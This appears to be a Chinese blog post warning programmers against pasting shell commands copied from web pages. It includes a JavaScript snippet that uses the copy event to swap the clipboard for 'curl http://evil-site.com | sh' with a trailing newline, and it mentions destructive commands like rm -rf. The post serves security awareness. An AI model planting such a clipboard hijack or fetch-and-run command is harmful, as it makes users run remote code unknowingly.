美文网首页
千万不要往 Shell 里粘贴命令!

千万不要往 Shell 里粘贴命令!

作者: 1024译站 | 来源:发表于2020-10-22 11:39 被阅读0次

对于用惯了 IDE 的程序员来说,在终端里敲命令可能没那么顺手,也记不住那么多复杂的命令。比较偷懒的做法就是网上搜相关的命令,复制到剪贴板往命令行窗口里一贴,完事!

但是这么做有很大的风险,为什么呢?

网页里复制的东西,可能并不是你看到的内容。请看大屏幕:

<div class="copyme">$ echo "伪装成普通命令"</div>
document.getElementById('copyme').addEventListener('copy', function(e) {
  e.clipboardData.setData('text/plain', 
      'curl http://evil-site.com | sh \n' // 复制了真实命令
  );
  e.preventDefault();
});

看到了吧,利用 DOM 的copy事件,可以往剪贴板里放自定义内容。有人可能会说复制了命令我还没回车,不会执行呀!图样图森破,尾巴上带个换行符\n,回车都为你代劳了!

这要是复制上了一些危险的命令,比如rm -rfmv folder /dev/null 之类的,执行后就爽歪歪了。

所以,为了安全,不要随便往 shell 里粘贴命令。如果一定要复制粘贴,看清楚剪贴板里的内容再执行!

首发于微信公众号:https://mp.weixin.qq.com/s/WmhnYU7z2c1wBF0l9uNiuA

相关文章

  • 千万不要往 Shell 里粘贴命令!

    对于用惯了 IDE 的程序员来说,在终端里敲命令可能没那么顺手,也记不住那么多复杂的命令。比较偷懒的做法就是网上搜...

  • Shell 脚本基础语法和使用

    Shell基础语法 Shell是一种胶水语言,把多个命令组合(粘贴)在一起以实现某种功能。核心思想是'通过各种高级...

  • vim学习 09——shell命令

    vim学习 09——shell命令 执行 shell 命令 :!shell命令 : 可以执行 shell 命令。 ...

  • notes for linux

    不要轻易卸载什么,可添加,千万不要删除啊什么的!!血的教训啊啊啊啊啊 1、.sh文件:里面写的是shell端的命令...

  • ADB常用命令集合

    基础命令 USB设备命令 文件传输命令 SHELL命令 adb shell pm命令 adb shell am命令...

  • (linux/mac)mysql调用系统命令

    system + shell命令! + shell命令

  • shell脚本基础

    shell介绍 shell命令: 在linux终端能被解析的命令,就是shell命令。 shell脚本: 多个sh...

  • Deno 下命令行子进程实操

    说白了就是在 subprocess 下执行 shell 命令 cmd 表示命令,用逗号来代替 shell 里的空...

  • adb shell logcat 命令

    adb shell logcat 命令 Tags: adb_shell adb shell logcat命令映射为...

  • adb命令 --- 深入 Android 内部

    本篇只说一个命令 就是这个 adb shell dumpsys 亲,不要急着输入这个命令 这个命令是: 查看当前手...

网友评论

      本文标题:千万不要往 Shell 里粘贴命令!

      本文链接:https://www.haomeiwen.com/subject/lwmdmktx.html